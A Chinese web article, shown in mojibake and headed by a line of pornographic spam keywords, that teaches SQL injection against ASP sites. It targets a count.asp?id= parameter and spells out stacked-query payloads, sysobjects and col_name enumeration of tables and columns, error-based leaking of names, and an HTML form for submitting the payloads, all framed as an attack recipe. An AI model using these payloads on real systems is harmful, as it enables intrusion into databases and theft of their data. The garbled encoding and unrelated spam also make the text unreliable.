人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

SQL腳本注入的不常見方法總結(jié)

發(fā)布日期:2021-12-18 08:35 | 文章來源:源碼之家
大家在是否碰到過這樣的站點(diǎn):
全站文章系統(tǒng)采用FSO靜態(tài)生成的HTML文件來顯示。這樣做的好處一來可以減輕服務(wù)器負(fù)擔(dān),提高訪問速度。二來也阻止了SQL注入式的攻擊。。
我來說說他們的文章系統(tǒng)原理:全部文章均在數(shù)據(jù)庫存有一個副本。另處根據(jù)模板生成一個HTML頁面。
攻擊方法:
查看源文件/看里面是否有通過JS來調(diào)用的頁面。
如調(diào)用<script language="javascript" src="count.asp?id=1552"></script>來更新文章的瀏覽次數(shù)。
我們就可以這樣來試一下可否注入:
http://服務(wù)器域名/count.asp?id=1552’
看一下是否出錯。如出錯說明有注入漏洞。然后正常攻擊。
在本機(jī)建立一下post.htm的文件和log.txt的文本文件(用來記錄用,這是一個好習(xí)慣)
post.htm內(nèi)容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
對于SQLSERVER的服務(wù)器可以這樣判斷:在1552后加一分號,如正常有可能是SQLSERVER
對于這類數(shù)據(jù)庫可以先建一個表id=1552;create table aaa(aaa char(20));--
然后插入一條記錄:id=1552;insert into aaa values(’test’);--
再之后枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
這是將第一個表名更新到aaa的字段處。
id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數(shù)情況會將表名直接讀出:看:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07’
將 varchar 值 ’vote’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網(wǎng)頁顯示。
讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>’剛才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到?jīng)]有為止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
……類推

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部